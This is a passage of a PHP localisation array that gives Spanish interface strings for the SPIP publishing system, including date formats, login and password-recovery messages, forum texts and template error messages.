'date_fmt_jour_mois' => '@jour@ de @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ de @nommois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => 'el @nomjour@ @date@',
'date_fmt_periode' => 'Del @date_debut@ al @date_fin@',
'date_fmt_periode_abbr' => 'Del @dtart@@date_debut@@dtabbr@ al @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'Del',
'date_fmt_periode_to' => 'al',
'date_heures' => 'horas',
'date_hier' => 'ayer',
'date_il_y_a' => 'hace @delai@',
'date_jnum1' => '1ro',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Domingo',
'date_jour_1_abbr' => 'dom',
'date_jour_1_initiale' => 'd',
'date_jour_2' => 'Lunes',
'date_jour_2_abbr' => 'lun',
'date_jour_2_initiale' => 'l',
'date_jour_3' => 'Martes',
'date_jour_3_abbr' => 'mar',
'date_jour_3_initiale' => 'm',
'date_jour_4' => 'Miércoles',
'date_jour_4_abbr' => 'mie',
'date_jour_4_initiale' => 'm',
'date_jour_5' => 'Jueves',
'date_jour_5_abbr' => 'jue',
'date_jour_5_initiale' => 'j',
'date_jour_6' => 'Viernes',
'date_jour_6_abbr' => 'vie',
'date_jour_6_initiale' => 'v',
'date_jour_7' => 'Sábado',
'date_jour_7_abbr' => 'sab',
'date_jour_7_initiale' => 's',
'date_jours' => 'días',
'date_minutes' => 'minutos',
'date_mois' => 'meses',
'date_mois_1' => 'enero',
'date_mois_10' => 'octubre',
'date_mois_10_abbr' => 'oct.',
'date_mois_11' => 'noviembre',
'date_mois_11_abbr' => 'nov.',
'date_mois_12' => 'diciembre',
'date_mois_12_abbr' => 'dic.',
'date_mois_1_abbr' => 'ene.',
'date_mois_2' => 'febrero',
'date_mois_2_abbr' => 'feb.',
'date_mois_3' => 'marzo',
'date_mois_3_abbr' => 'mar.',
'date_mois_4' => 'abril',
'date_mois_4_abbr' => 'abr.',
'date_mois_5' => 'mayo',
'date_mois_5_abbr' => 'mayo',
'date_mois_6' => 'junio',
'date_mois_6_abbr' => 'jun.',
'date_mois_7' => 'julio',
'date_mois_7_abbr' => 'jul.',
'date_mois_8' => 'agosto',
'date_mois_8_abbr' => 'ago.',
'date_mois_9' => 'septiembre',
'date_mois_9_abbr' => 'sep.',
'date_saison_1' => 'invierno',
'date_saison_2' => 'primavera',
'date_saison_3' => 'verano',
'date_saison_4' => 'otoño',
'date_secondes' => 'segundos',
'date_semaines' => 'semanas',
'date_un_mois' => 'mes',
'date_une_heure' => 'hora',
'date_une_minute' => 'minuto',
'date_une_seconde' => 'segundo',
'date_une_semaine' => 'semana',
'dirs_commencer' => 'Para empezar realmente la instalación',
'dirs_preliminaire' => 'Preliminar: <b>Regular los derechos de acceso</b>',
'dirs_probleme_droits' => 'Problema de derechos de acceso',
'dirs_repertoires_absents' => '<p><b>No se pudieron encontrar las siguientes carpetas:</b></p><ul>@bad_dirs@.</ul> </b>
<p>Es probable que se deba a un problema de escritura entre mayúsculas y minúsculas.
Verifique que las mayúsculas y minúsculas de los nombres de estas carpetas corresponden a lo se visualiza a continuación; si no es el caso, cambia el nombre de las carpetas con tu software de FTP, de modo que se corrijan los errores.</p>
<p>Cuando hayas hecho esta operación podrás ',
'dirs_repertoires_suivants' => '<p><b>Las carpetas siguientes no están accesibles en escritura :</b></p><ul>@bad_dirs@.</ul>
<p>Para solucionar el problema debes utilizar un cliente FTP para cambiar los derechos de acceso a cada una
de las carpetas mencionadas. El procedimiento se explica detalladamente en la guía de instalación.</p>
<p>Una vez terminado este proceso, podrás ',
'double_occurrence' => 'Doble ocurrencia de @balise@',
// E
'en_cours' => 'en curso',
'envoi_via_le_site' => 'Envío a través del sitio',
'erreur' => 'Error',
'erreur_balise_non_fermee' => 'última baliza no cerrada:',
'erreur_technique_ajaxform' => '¡Vaya! Un error inesperado ha impedido enviar el formulario. Puede intentarlo de nuevo. ',
'erreur_technique_enregistrement_champs' => 'Un erreor técnico impidió guardar correctamente el campo @champs@.',
'erreur_technique_enregistrement_impossible' => 'Un erreor técnico impidió guardar los datos.',
'erreur_texte' => 'error(es)',
'etape' => 'Etapa',
// F
'fichier_introuvable' => 'No se encuentra el archivo @fichier@',
'form_auteur_confirmation' => 'Confirma tu dirección de correo',
'form_auteur_email_modifie' => 'Tu dirección de correo fue modificada',
'form_auteur_envoi_mail_confirmation' => 'Se te acaba de enviar un mensaje de confirmación a @email@. Tienes que visitar la página web indicada en ese mensaje para validar tu dirección de correo.',
'form_auteur_mail_confirmation' => 'Hola,
Ha solicitado cambiar su dirección de correo electrónico.
Para confirmar su nueva dirección, haga clic en el siguiente enlace:
@url@
En caso contrario, la solicitud será ignorada.
',
'form_deja_inscrit' => 'Ya estás inscrito.',
'form_email_non_valide' => 'La dirección de correo electrónico no es válida.',
'form_forum_access_refuse' => 'Ya no tienes acceso a este sitio.',
'form_forum_bonjour' => 'Hola, @nom@,',
'form_forum_confirmer_email' => 'Para confirmar tu dirección mail, visita el siguiente enlace: @url_confirm@',
'form_forum_email_deja_enregistre' => 'Esta dirección de correo electrónico ya está registrada, por lo que puedes utilizar tu contraseña habitual.',
'form_forum_identifiant_mail' => 'Acabamos de enviarte tu nuevo identificador por correo electrónico.',
'form_forum_identifiants' => 'Identificadores personales',
'form_forum_indiquer_nom_email' => 'Indica aquí tu nombre y dirección de correo electrónico. Se te enviará de inmediato por correo electrónico tu identificador personal.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(esto es un mensaje automático)',
'form_forum_pass' => 'contraseña:',
'form_forum_probleme_mail' => 'Problema con el correo electrónico: no se puede enviar el identificador.',
'form_forum_voici1' => 'Esta es tu identificación para participar
en los foros del sitio "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Esta es tu identificación para proponer artículos
en el sitio "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Indica tu dirección de correo electrónico.',
'form_indiquer_nom' => 'Indica tu nombre.',
'form_indiquer_nom_site' => 'Indica el nombre de tu sitio Web.',
'form_pet_deja_enregistre' => 'Este sitio ya está registrado',
'form_pet_signature_pasprise' => 'Tu firma no ha sido tomada en cuenta.',
'form_prop_confirmer_envoi' => 'Confirmar el envío',
'form_prop_description' => 'Descripción/comentario',
'form_prop_enregistre' => 'Tu propuesta ha sido registrada, aparecerá en línea después de la validación por el equipo responsable de este sitio.',
'form_prop_envoyer' => 'Enviar un mensaje',
'form_prop_indiquer_email' => 'Indica una dirección de correo electrónico válida',
'form_prop_indiquer_nom_site' => 'Indica el nombre del sitio.',
'form_prop_indiquer_sujet' => 'Indicar un tema',
'form_prop_message_envoye' => 'Mensaje enviado',
'form_prop_non_enregistre' => 'Tu propuesta no fue registrada.',
'form_prop_sujet' => 'Asunto',
'form_prop_url_site' => 'Dirección URL del sitio',
'forum_non_inscrit' => 'No estás inscrita o inscrito, o bien la dirección o la contraseña son erróneas.',
'forum_par_auteur' => 'por @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'El archivo «backend» de artículos de este sitio se encuentra en la dirección:',
'ical_texte_rss_articles2' => 'También puedes obtener archivos «backend» para los artículos de cada sección de este sitio:',
'ical_texte_rss_breves' => 'Además existe un archivo que contiene las breves del sitio. Especificando el número de sección, se pueden obtener únicamente las breves de ésta.',
'icone_a_suivre' => 'Mis tareas',
'icone_admin_site' => 'Administración del sitio',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Ayuda en línea',
'icone_articles' => 'Artículos',
'icone_auteurs' => 'Autoras y autores',
'icone_brouteur' => 'Navegación rápida',
'icone_configuration_site' => 'Configuración del sitio',
'icone_configurer_site' => 'Configurar el sitio',
'icone_creer_nouvel_auteur' => 'Crear un nuevo autor o autora',
'icone_creer_rubrique' => 'Crear una sección',
'icone_creer_sous_rubrique' => 'Crear una subsección',
'icone_deconnecter' => 'Desconectarse',
'icone_discussions' => 'Discusiones',
'icone_doc_rubrique' => 'Documentos de las secciones',
'icone_ecrire_article' => 'Nuevo artículo',
'icone_edition_site' => 'Edición del sitio',
'icone_gestion_langues' => 'Gestión de idiomas',
'icone_informations_personnelles' => 'Información personal',
'icone_interface_complet' => 'Interfaz completa',
'icone_interface_simple' => 'Interfaz simple',
'icone_maintenance_site' => 'Mantenimiento del sitio',
'icone_messagerie_personnelle' => 'Mensajería personal',
'icone_repartition_debut' => 'Mostrar el reparto desde el comienzo',
'icone_rubriques' => 'Secciones',
'icone_sauver_site' => 'Respaldo del sitio',
'icone_site_entier' => 'Todo el sitio',
'icone_sites_references' => 'Sitios referenciados',
'icone_statistiques' => 'Estadísticas del sitio',
'icone_suivi_activite' => 'Seguir la vida del sitio',
'icone_suivi_actualite' => 'Evolución del sitio',
'icone_suivi_pettions' => 'Gestión de las peticiones',
'icone_suivi_revisions' => 'Modificaciones de artículos',
'icone_supprimer_document' => 'Suprimir este documento',
'icone_supprimer_image' => 'Suprimir esta imagen',
'icone_tous_articles' => 'Todos tus artículos',
'icone_tous_auteur' => 'Todos los autores y autoras',
'icone_tous_visiteur' => 'Todos los visitantes',
'icone_visiter_site' => 'Visitar el sitio',
'icone_voir_en_ligne' => 'Ver en línea',
'img_indisponible' => 'imagen indisponible',
'impossible' => 'imposible',
'info_a_suivre' => 'MIS TAREAS »',
'info_acces_interdit' => 'Acceso prohibido',
'info_acces_refuse' => 'Acceso rechazado',
'info_action' => 'Acción: @action@',
'info_administrer_rubriques' => 'Puedes administrar esta sección y sus subsecciones',
'info_adresse_non_indiquee' => '¡No has indicado la dirección a probar !',
'info_aide' => 'AYUDA:',
'info_ajouter_mot' => 'Añadir esta palabra',
'info_annonce' => 'Anuncio',
'info_annonces_generales' => 'Anuncios generales',
'info_article_propose' => 'Artículo propuesto',
'info_article_publie' => 'Artículo publicado',
'info_article_redaction' => 'Artículo en curso',
'info_article_refuse' => 'Artículo rechazado',
'info_article_supprime' => 'Artículo suprimido',
'info_articles' => 'Artículos',
'info_articles_a_valider' => 'Los artículos a validar',
'info_articles_nb' => '@nb@ artículos',
'info_articles_proposes' => 'Artículos propuestos',
'info_articles_un' => '1 artículo',
'info_auteurs_nombre' => 'Autora(s) y autor(es):',
'info_authentification_ftp' => 'Autentificación (por FTP).',
'info_breves_2' => 'breves',
'info_breves_nb' => '@nb@ breves',
'info_breves_un' => '1 breve',
'info_connexion_refusee' => 'Conexión rechazada',
'info_contact_developpeur' => 'Debes contactar con un programador.',
'info_contenance' => 'Este sitio contiene:',
'info_contribution' => 'Contribuciones',
'info_copyright' => '@spip@ es un software libre distribuído @lien_gpl@.',
'info_copyright_doc' => 'Para mayor información, ver el sitio <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'bajo licencia GPL',
'info_cours_edition' => 'En curso de redacción',
'info_creer_repertoire' => 'Debes crear un archivo o una carpeta llamada',
'info_creer_repertoire_2' => 'en el directorio <b>@repertoire@</b>, y luego',
'info_creer_vignette' => 'creación automática de la miniatura',
'info_creerdansrubrique_non_autorise' => 'No tienes los derechos suficientes para crear contenidos dentro de esta sección',
'info_deplier' => 'Desplegar',
'info_descriptif_nombre' => 'descripcción(es):',
'info_description' => 'Descripción:',
'info_description_2' => 'Descripción:',
'info_dimension' => 'Dimensiones',
'info_documents_nb' => '@nb@ documentos',
'info_documents_un' => '1 documento',
'info_ecire_message_prive' => 'Escribir un mensaje privado',
'info_email_invalide' => 'La dirección de correo electrónico no es válida.',
'info_en_cours_validation' => 'Tus artículos en curso',
'info_en_ligne' => 'Actualmente en línea',
'info_envoyer_message_prive' => 'Enviar un mensaje privado a este autor o autora',
'info_erreur_requete' => 'Error en la petición:',
'info_erreur_squelette2' => 'No hay ningún esqueleto <b>@fichier@</b> disponible...',
'info_erreur_systeme' => 'Error del sistema (errno @errsys@)',
'info_erreur_systeme2' => 'El disco duro puede estar lleno o la base de datos dañada.<br />
<span style="color:red;">Intenta <a href=\'@script@\'>reparar la base</a>, o contacta tu hospedaje.</span>',
'info_fini' => '¡Terminado!',
'info_format_image' => 'Formatos de imagen utilizables para los iconos @gd_formats@.',
'info_format_non_defini' => 'formato no definido',
'info_grand_ecran' => 'Pantalla completa',
'info_image_aide' => 'Ayuda',
'info_image_process_titre' => 'Método de creación de miniaturas',
'info_impossible_lire_page' => '<b>¡Error !</b> Imposible leer la página <tt><html>@test_proxy@</html></tt> a través del "proxy" <tt>',
'info_installation_systeme_publication' => 'Instalación del sistema de publicación...',
'info_installer_documents' => 'Puedes instalar automáticamente todos los documentos contenidos en el directorio @upload@.',
'info_installer_ftp' => 'Con derechos de administración, puedes instalar archivos (vía FTP) en la carpeta @upload@ para luego poder seleccionarlos directamente aquí.',
'info_installer_images' => 'Puedes instalar imágenes de formato JPEG, GIF y PNG.',
'info_installer_images_dossier' => 'Instalar imágenes en la carpeta @upload@ para luego poder seleccionarlas directamente aquí.',
'info_interface_complete' => 'Interfaz completa',
'info_interface_simple' => 'Interfaz simple',
'info_joindre_document_article' => 'Puedes adjuntar a este artículo documentos de tipo',
'info_joindre_document_rubrique' => 'Puedes adjuntar a esta sección documentos de tipo',
'info_joindre_documents_article' => 'Puedes adjuntar a tu artículo documentos de tipo',
'info_l_article' => 'el artículo',
'info_la_breve' => 'la breve',
'info_la_rubrique' => 'la sección',
'info_langue_principale' => 'Idioma principal del sitio',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ píxeles',
'info_les_auteurs_1' => 'por @les_auteurs@',
'info_logo_format_interdit' => 'Sólo se autorizan los logos de formatos @formats@.',
'info_logo_max_poids' => 'Los logos deben obligatoriamente pesar menos de @maxi@ (el archivo pesa @actuel@).',
'info_mail_fournisseur' => 'tu@proveedor.com',
'info_message_2' => 'MENSAJE',
'info_message_supprime' => 'Mensaje suprimido',
'info_messages_nb' => '@nb@ mensajes',
'info_messages_un' => '1 mensaje',
'info_mise_en_ligne' => 'Fecha de puesta en línea',
'info_modification_parametres_securite' => 'modificaciones de los parámetros de seguridad',
'info_mois_courant' => 'En el mes actual de: ',
'info_mot_cle_ajoute' => 'La palabra clave siguiente ha sido añadida al artículo',
'info_multi_herit' => 'Idioma por omisión',
'info_multi_langues_soulignees' => 'Los <u>idiomas subrayados</u> disponen de una traducción total o parcial de los textos de la interfaz. Si los seleccionas, diversos elementos del sitio público (fechas, formularios) serán traducidos automáticamente. En los idiomas no subrayados, dichos elementos aparecerán en el idioma principal del sitio.',
'info_multilinguisme' => 'Multilingüismo',
'info_nom_non_utilisateurs_connectes' => 'Tu nombre no aparece en la lista de personas conectadas',
'info_nom_utilisateurs_connectes' => 'Tu nombre aparece en la lista de personas conectadas.',
'info_nombre_en_ligne' => 'Actualmente en línea',
'info_non_resultat' => 'No se han encontrado resultados para la búsqueda "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'No utilizar la mensajería interna.',
'info_nouveau_message' => '<b>¡Tienes un nuevo mensaje!</b>',
'info_nouveaux_messages' => 'Tienes @total_messages@ mensajes nuevos ',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Esta información es obligatoria',
'info_pense_bete' => 'Recordatorio para memorizar',
'info_petit_ecran' => 'Pantalla pequeña',
'info_petition_close' => 'Ya no se firma',
'info_pixels' => 'píxeles',
'info_plusieurs_mots_trouves' => 'Hemos encontrado varias palabras clave para "@cherche_mot@":',
'info_portfolio_automatique' => 'Portafolio automático',
'info_premier_resultat' => '[@debut_limit@ primeros resultados sobre @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primeros resultados sobre @total@]',
'info_propose_1' => '[@nom_site_spip@] Propuesto: @titre@',
'info_propose_2' => 'Artículo propuesto
------------------',
'info_propose_3' => 'El artículo "@titre@" fue propuesto para ser publicado.',
'info_propose_4' => 'Estás invitado/a a consultarlo y a dar tu opinión',
'info_propose_5' => 'en el foro que le concierne. Está disponible en la dirección: ',
'info_publie_01' => 'El artículo "@titre@" ha sido validado por @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICADO: @titre@',
'info_publie_2' => 'Artículo publicado
-------------------',
'info_rechercher' => 'Buscar',
'info_rechercher_02' => 'Buscar',
'info_remplacer_vignette' => 'Reemplazar el icono predeterminado por una imagen de tu elección :',
'info_rubriques_nb' => '@nb@ secciones',
'info_rubriques_un' => '1 sección',
'info_sans_titre_2' => 'sin título',
'info_selectionner_fichier' => 'Puedes seleccionar un documento del directorio @upload@',
'info_selectionner_fichier_2' => 'Seleccionar un documento...',
'info_sites_nb' => '@nb@ sitios',
'info_sites_un' => '1 sitio',
'info_supprimer_vignette' => 'Suprimir este icono',
'info_symbole_bleu' => 'El símbolo <b>azul</b> representa un <b>recordatorio personal</b>, o sea una manera de recordar algo.',
'info_symbole_jaune' => 'El símbolo <b>amarillo</b> representa un <b>anuncio para todos</b>: sólo es modificable por las/os administradoras/es del sitio, y es visible por todos los redactores.',
'info_symbole_vert' => 'El símbolo <b>verde</b> indica los <b>mensajes intercambiados con otras personas</b> del sitio.',
'info_telecharger_nouveau_logo' => 'Subir un nuevo logotipo:',
'info_telecharger_ordinateur' => 'Subir desde tu ordenador:',
'info_tous_resultats_enregistres' => '[todos los resultados son registrados]',
'info_tout_afficher' => 'Mostrar todo',
'info_travaux_texte' => 'Este sitio todavía no está configurado. Vuelve más adelante...',
'info_travaux_titre' => 'Sitio en curso de modificación',
'info_trop_resultat' => 'Demasiados resultados para la búsqueda de "@cherche_mot@" . Precise los criterios.',
'info_utilisation_messagerie_interne' => 'Utilizas la mensajería interna del sitio.',
'info_valider_lien' => 'validar este enlace',
'info_verifier_image' => ', verifique si las imágenes han sido corresctamente transferidas.',
'info_vignette_defaut' => 'Icono predeterminado',
'info_vignette_personnalisee' => 'Icono personalizado',
'info_visite' => 'visita:',
'info_vos_rendez_vous' => 'Tus citas',
'infos_vos_pense_bete' => 'Tus recordatorios',
// L
'label_ajout_id_rapide' => 'Agregado rápido',
'label_poids_fichier' => 'Tamaño',
'lien_afficher_icones_seuls' => 'Mostrar sólo los iconos',
'lien_afficher_texte_icones' => 'Mostrar iconos y texto',
'lien_afficher_texte_seul' => 'Mostrar sólo el texto',
'lien_liberer' => 'Liberar',
'lien_liberer_tous' => 'Liberar todo',
'lien_nouvea_pense_bete' => 'Nuevo recordatorio',
'lien_nouveau_message' => 'Nuevo mensaje',
'lien_nouvelle_annonce' => 'Nuevo anuncio',
'lien_petitions' => 'Petición',
'lien_popularite' => 'Popularidad: @popularite@%',
'lien_racine_site' => 'Raíz del sitio',
'lien_reessayer' => 'reintentar',
'lien_repondre_message' => 'Responder a este mensaje',
'lien_supprimer' => 'Suprimir',
'lien_tout_afficher' => 'Mostrar todo',
'lien_visite_site' => 'Visitar este sitio',
'lien_visites' => '@visites@ visitas.',
'lien_voir_auteur' => 'Ver esta autor/a',
'ligne' => 'Línea',
'login' => 'Conexión',
'login_acces_prive' => 'acceso al espacio privado',
'login_autre_identifiant' => 'conectarse con otro nombre de usuario o usuaria',
'login_cookie_accepte' => 'Configura tu navegador para que las acepte (al menos para este sitio).',
'login_cookie_oblige' => 'Para identificarte de manera segura en este sitio, tienes que aceptar las "cookies".',
'login_deconnexion_ok' => 'Desconexión efectuada.',
'login_erreur_pass' => 'Error de contraseña.',
'login_espace_prive' => 'espacio privado',
'login_identifiant_inconnu' => 'El nombre de usuario o usuaria «@login@» es desconocido.',
'login_login' => 'Nombre de usuario o usuaria:',
'login_login2' => 'Login o dirección mail:',
'login_login_pass_incorrect' => '(Identificador o contraseña incorrecta.)',
'login_motpasseoublie' => '¿contraseña olvidada?',
'login_non_securise' => 'Atención, este formulario no está asegurado.
Si no deseas que tu contraseña pueda ser interceptada en la red, activa JavaScript en tu navegador y',
'login_nouvelle_tentative' => 'Nuevo intento',
'login_par_ici' => 'Estás registrado o registrada... por aquí...',
'login_pass2' => 'Contraseña:',
'login_preferez_refuser' => '<b>Si prefieres rechazar las "cookies"</b>, otro método de conexión (menos seguro) está a tu disposición:',
'login_recharger' => 'actualizar esta página',
'login_rester_identifie' => 'Quedar identificado unos días',
'login_retour_public' => 'Volver al sitio público',
'login_retour_site' => 'Volver al sitio público',
'login_retoursitepublic' => 'volver al sitio público',
'login_sans_cookiie' => 'Identificación sin "cookie"',
'login_securise' => 'Conexión segura',
'login_sinscrire' => 'inscribirse',
'login_test_navigateur' => 'prueba de navegador/reconexión',
'login_verifiez_navigateur' => '(No obstante, comprueba que tu navegador no memorizó tu contraseña...)',
// M
'masquer_colonne' => 'Ocultar esta columna',
'masquer_trad' => 'Ocultar las traducciones',
'module_fichiers_langues' => 'Archivos de idioma',
// N
'navigateur_pas_redirige' => 'Si tu navegador no te redirige automaticamente, pincha aquí para continuar.',
'numero' => 'Número',
// O
'occurence' => 'Ocurrencia',
'onglet_affacer_base' => 'Borrar la base',
'onglet_auteur' => 'La autor/a',
'onglet_contenu_site' => 'Contenido del sitio',
'onglet_evolution_visite_mod' => 'Evolución',
'onglet_fonctions_avances' => 'Funciones avanzadas',
'onglet_informations_personnelles' => 'Información personal',
'onglet_interactivite' => 'Interactividad',
'onglet_messagerie' => 'Mensajería',
'onglet_repartition_rubrique' => 'Reparto por secciones',
'onglet_save_restaur_base' => 'Copia de respaldo y restauración de la base',
'onglet_vider_cache' => 'Vaciar la caché',
// P
'pass_choix_pass' => 'Elije tu nueva contraseña:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error:</b> ya no tienes acceso a este sitio.',
'pass_erreur_code_inconnu' => '<b>Error:</b> este código no corresponde a ningún visitante que tenga acceso a este sitio.',
'pass_erreur_non_enregistre' => '<b>Error:</b> la dirección <tt>@email_oubli@</tt> no está registrada en este sitio.',
'pass_erreur_non_valide' => '<b>Error:</b> esta dirección <tt>@email_oubli@</tt> no es válida.',
'pass_erreur_probleme_technique' => '<b>Error:</b> por un problema técnico, el mensaje no ha podido ser enviado.',
'pass_espace_prive_bla' => 'El espacio privado de este sitio está abierto, mediante una inscripción. Una vez registrado/a, puedes consultar los artículos en curso de redacción, proponer artículos y participar en todos los foros.',
'pass_forum_bla' => 'Pediste intervenir en un foro reservado a las personas registradas.',
'pass_indiquez_cidessous' => 'Indica a continuación la dirección de correo electrónico bajo la cual te has registrado anteriormente. Recibirás un mensaje indicando el proceso a seguir para recuperar tu acceso.',
'pass_mail_passcookie' => '(esto es un mensaje automático)
Para recuperar tu acceso al sitio
@nom_site_spip@ (@adresse_site@)
Ir a la siguiente dirección:
@sendcookie@
Ahí podrás poner una nueva contraseña y
volver a conectarte al sitio.
',
'pass_mot_oublie' => 'Contraseña olvidada',
'pass_nouveau_enregistre' => 'Tu nueva contraseña fue registrada.',
'pass_nouveau_pass' => 'Nueva contraseña',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Contraseña olvidada',
'pass_procedure_changer' => 'Para cambiar tu contraseña, primero es necesario verificar tu identidad. Para eso, indica la dirección email asociada a tu cuenta.',
'pass_quitter_fenetre' => 'Abandonar esta ventana',
'pass_rappel_login' => 'Recuerda: tu identificador (login) es «@login@».',
'pass_recevoir_mail' => 'Recibirás un mensaje de correo electrónico indicando como recuperar tu acceso al sitio.',
'pass_retour_public' => 'Volver al sitio público',
'pass_rien_a_faire_ici' => 'Nada que hacer aquí.',
'pass_vousinscrire' => 'Inscribirse en este sitio',
'precedent' => 'precedente',
'previsualisation' => 'Previsualización',
'previsualiser' => 'Previsualizar',
// R
'retour' => 'Volver',
// S
'spip_conforme_dtd' => 'SPIP considera este documento como conforme a su DOCTYPE:',
'squelette' => 'esqueleto',
'squelette_inclus_ligne' => 'esqueleto incluído, línea',
'squelette_ligne' => 'esqueleto, línea',
'stats_visites_et_popularite' => '@visites@ visitas; popularidad: @popularite@',
'suivant' => 'siguiente',
// T
'taille_go' => '@taille@ GB',
'taille_ko' => '@taille@ KB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'Una vez que te hayas familiarizado con la interfaz, pincha en «',
'texte_actualite_site_2' => 'interfaz completa',
'texte_actualite_site_3' => '» que tiene aún más posibilidades.',
'texte_creation_automatique_vignette' => 'Este sitio permite la creación automática de iconos en los siguientes formatos: @gd_formats@. Las imágenes que instales con este formulario tendrán iconos de @taille_preview@ píxeles.',
'texte_documents_associes' => 'Los documentos siguientes están asociados al artículo, pero no han sido insertados directamente. Según el formato del sitio público, pueden aparecer como documentos adjuntos.',
'texte_erreur_mise_niveau_base' => 'Error de la base de datos en el curso la la actualización.
La imagen <b>@fichier@</b> no ha pasado (artículo @id_article@).
Tome nota de esta referencia, reintente la actualización y verifique que las imágenes aparecen en los artículos.',
'texte_erreur_visiteur' => 'Has intentado entrar al espacio privado con un identificador que no lo permite.',
'texte_inc_auth_1' => 'Estás identificado con el
login <b>@auth_login@</b>, pero éste (ya) no existe en la base.
Intenta',
'texte_inc_auth_2' => 'reconectarte',
'texte_inc_auth_3' => ', eventualmente después de cerrar y reiniciar tu navegador.',
'texte_inc_config' => 'Las modificaciones efectuadas en estas páginas influyen notablemente en el funcionamiento de tu sitio. Te recomendamos no intervenir mientras no estés familiarizad@ con el funcionamiento del sistema SPIP. <br /><br /><b>Más ámpliamente, se recomienda vivamente dejar la gestión de estas páginas al o a la webmestre principal del sitio.</b>',
'texte_inc_meta_1' => 'El sistema encontró un error de escritura del archivo <code>@fichier@</code>. Como administrador(a) del sitio, procede',
'texte_inc_meta_2' => 'a verificar los derechos de escritura',
'texte_inc_meta_3' => 'del directorio <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'En curso de redacción',
'texte_statut_poubelle' => 'A la papelera',
'texte_statut_propose_evaluation' => 'propuesto a la evaluación',
'texte_statut_publie' => 'Publicado',
'texte_statut_refuse' => 'Rechazado',
'titre_ajouter_mot_cle' => 'Añadir una palabra clave',
'titre_cadre_raccourcis' => 'Atajos...',
'titre_changer_couleur_interface' => 'Cambiar el color de la interfaz',
'titre_image_admin_article' => 'Puedes administrar este artículo',
'titre_image_administrateur' => 'Administrador/a',
'titre_image_aide' => 'Ayuda sobre este elemento',
'titre_image_auteur_supprime' => 'Autor suprimido',
'titre_image_redacteur' => 'Redactor o redactora sin acceso',
'titre_image_redacteur_02' => 'Redactor o redactora',
'titre_image_selecteur' => 'Mostrar la lista',
'titre_image_visiteur' => 'Visitante',
'titre_joindre_document' => 'Añadir un documento',
'titre_mots_cles' => 'Palabras clave',
'titre_probleme_technique' => 'Atención: una problema técnico (servidor SQL) impide el acceso a esta parte del sitio. Se agradece su comprensión.',
'titre_publier_document' => 'PUBLICAR UN DOCUMENTO EN ESTA SECCION',
'titre_signatures_attente' => 'Firmas esperando validación',
'titre_signatures_confirmees' => 'Firmas confirmadas',
'titre_statistiques' => 'Estadísticas del sitio',
'titre_titre_document' => 'Título del documento',
'todo' => 'a continuación',
'trad_reference' => '(referencia de las traducciones)',
// Z
'zbug_balise_b_aval' => ': baliza de bucle B más adelante',
'zbug_balise_inexistante' => 'Baliza @balise@ mal declarada para @from@',
'zbug_balise_sans_argument' => 'Falta un argumento en la baliza @balise@',
'zbug_boucle' => 'bucle',
'zbug_boucle_recursive_undef' => 'Bucle recursivo no defindo : @nom@',
'zbug_calcul' => 'cálculo',
'zbug_champ_hors_boucle' => 'Campo @champ@ fuera de bucle',
'zbug_champ_hors_motif' => 'El campo @champ@ está fuera de contexto @motif@',
'zbug_code' => 'código',
'zbug_critere_inconnu' => 'Criterio @critere@ desconocido ',
'zbug_distant_interdit' => 'Acceso externo prohibido',
'zbug_doublon_table_sans_cle_primaire' => 'Doublons en una tabla sin clave primaria simple',
'zbug_doublon_table_sans_index' => 'Doublons en una tabla sin índice',
'zbug_erreur_boucle_double' => 'Doble definición del bucle @id@',
'zbug_erreur_boucle_fermant' => 'Bucle @id@ sin baliza de cierre',
'zbug_erreur_boucle_syntaxe' => 'Sintaxis del bucle @id@ incorrecta',
'zbug_erreur_compilation' => 'Error de compilación',
'zbug_erreur_execution_page' => 'Error de ejecución',
'zbug_erreur_filtre' => 'Error: filtro @filtre@ no definido',
'zbug_erreur_meme_parent' => 'El criterio {meme_parent} sólo se aplica a los bucles (FORUMS) o (RUBRIQUES)',
'zbug_erreur_squelette' => 'Error(es) en el esqueleto',
'zbug_hors_compilation' => 'Sin compilación',
'zbug_info_erreur_squelette' => 'Error en el sitio',
'zbug_inversion_ordre_inexistant' => 'Inversión de un orden inexistente',
'zbug_pagination_sans_critere' => 'Baliza #PAGINATION sin criterio {pagination} o empleado en un bucle recursivo',
'zbug_parametres_inclus_incorrects' => 'Parámetro de inclusión incorrecto: @param@',
'zbug_profile' => 'Duración del cálculo: @time@',
'zbug_resultat' => 'resultado',
'zbug_serveur_indefini' => 'Servidor SQL indefinido',
'zbug_statistiques' => 'Estadística de las consultas SQL ordenadas por duración',
'zbug_table_inconnue' => 'Tabla SQL «@table@» desconocida',
'zxml_connus_attributs' => 'atributos conocidos',
'zxml_de' => 'de',
